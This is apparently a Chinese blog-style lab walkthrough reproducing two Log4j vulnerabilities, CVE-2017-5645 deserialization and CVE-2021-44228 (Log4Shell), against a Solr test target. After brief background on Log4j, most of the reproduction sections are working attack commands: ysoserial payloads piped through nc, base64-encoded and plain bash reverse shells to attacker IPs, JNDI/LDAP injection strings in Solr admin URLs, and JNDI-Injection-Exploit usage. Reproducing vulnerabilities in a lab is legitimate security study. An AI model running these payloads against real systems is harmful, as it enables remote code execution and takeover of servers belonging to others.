log4j漏洞复现
log4j
前置知识
1.log4j是什么
Log4j是一个Java日志组件,通过日志记录器接口,为程序提供了灵活的配置选项,可以将不同级别的消息输出到不同的目的地,如控制台,文件,数据库等。Log4j可以帮助开发人员更好地调试应用程序,同时也方便了运维人员对应用程序进行监控和故障排查
Log4j是一个流行的Java日志框架,它有以下几点优点:
- 灵活性:Log4j具有高度的配置灵活性,允许根据需要进行配置和定制。可以根据具体的应用程序要求进行配置。
- 高效性:Log4j实现了多种日志级别,使得可以选择不同的日志级别来记录不同的信息。它还能够在不影响应用程序性能的情况下记录大规模日志数据。
- 可扩展性:Log4j可以轻易地扩展,以满足应用程序要求。
- 统一性:Log4j作为一个标准的日志框架,可以帮助应用程序开发人员在不同的应用程序中使用相同的日志流程。
- 简易性:Log4j拥有易于使用的API,使得记录日志变得非常方便。
CVE-2017-5645(反序列化漏洞)
漏洞介绍
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
影响版本
Apache Log4j 2.8.2之前的2.x版本
漏洞复现
如图环境启动成功

我们使用ysoserial生成payload,然后直接发送给192.168.254.89:4712端口即可。
ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。
执行以下命令
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 47.109.184.44 4712
jdk1.8.0_202/bin/java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 47.109.184.44 4712

进入容器
成功写入

shell
输入kali攻击机的ip地址以及对应的端口,就能够在线生成shell,我们复制第一个shell

监听

payload
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvOTk4OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 47.109.184.44 4712
jdk1.8.0_202/bin/java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvOTk4OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 47.109.184.44 4712
执行后监听9988端口的终端就会弹出shell,随后就可以操作了
CVE-2021-44228(RCE)
漏洞原理
log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。
详细过程分析:
log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。
当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

影响版本
受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
漏洞复现
访问http://ip:8983

先访问DNSLog Platform平台获取一个子域名

使用该子域名,我们构造 payload:
${jndi:ldap://${sys:java.version}.t09fz0.dnslog.cn}
访问
http://47.109.184.44:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.t09fz0.dnslog.cn}


命令执行
反弹shell的命令:
bash -i >& /dev/tcp/47.109.184.44/6666 0>&1
jdk1.8.0_202/bin/java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDkuMTg0LjQ0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
" -A "192.168.217.139"
成功反弹shell。具体操作就是把jar文件运行之后的payload去打靶场的漏洞触发点,像这样
http://47.109.184.44:8983/solr/admin/cores?action=${jndi:ldap://192.168.217.139:1389/byyfdi}
更多推荐
所有评论(0)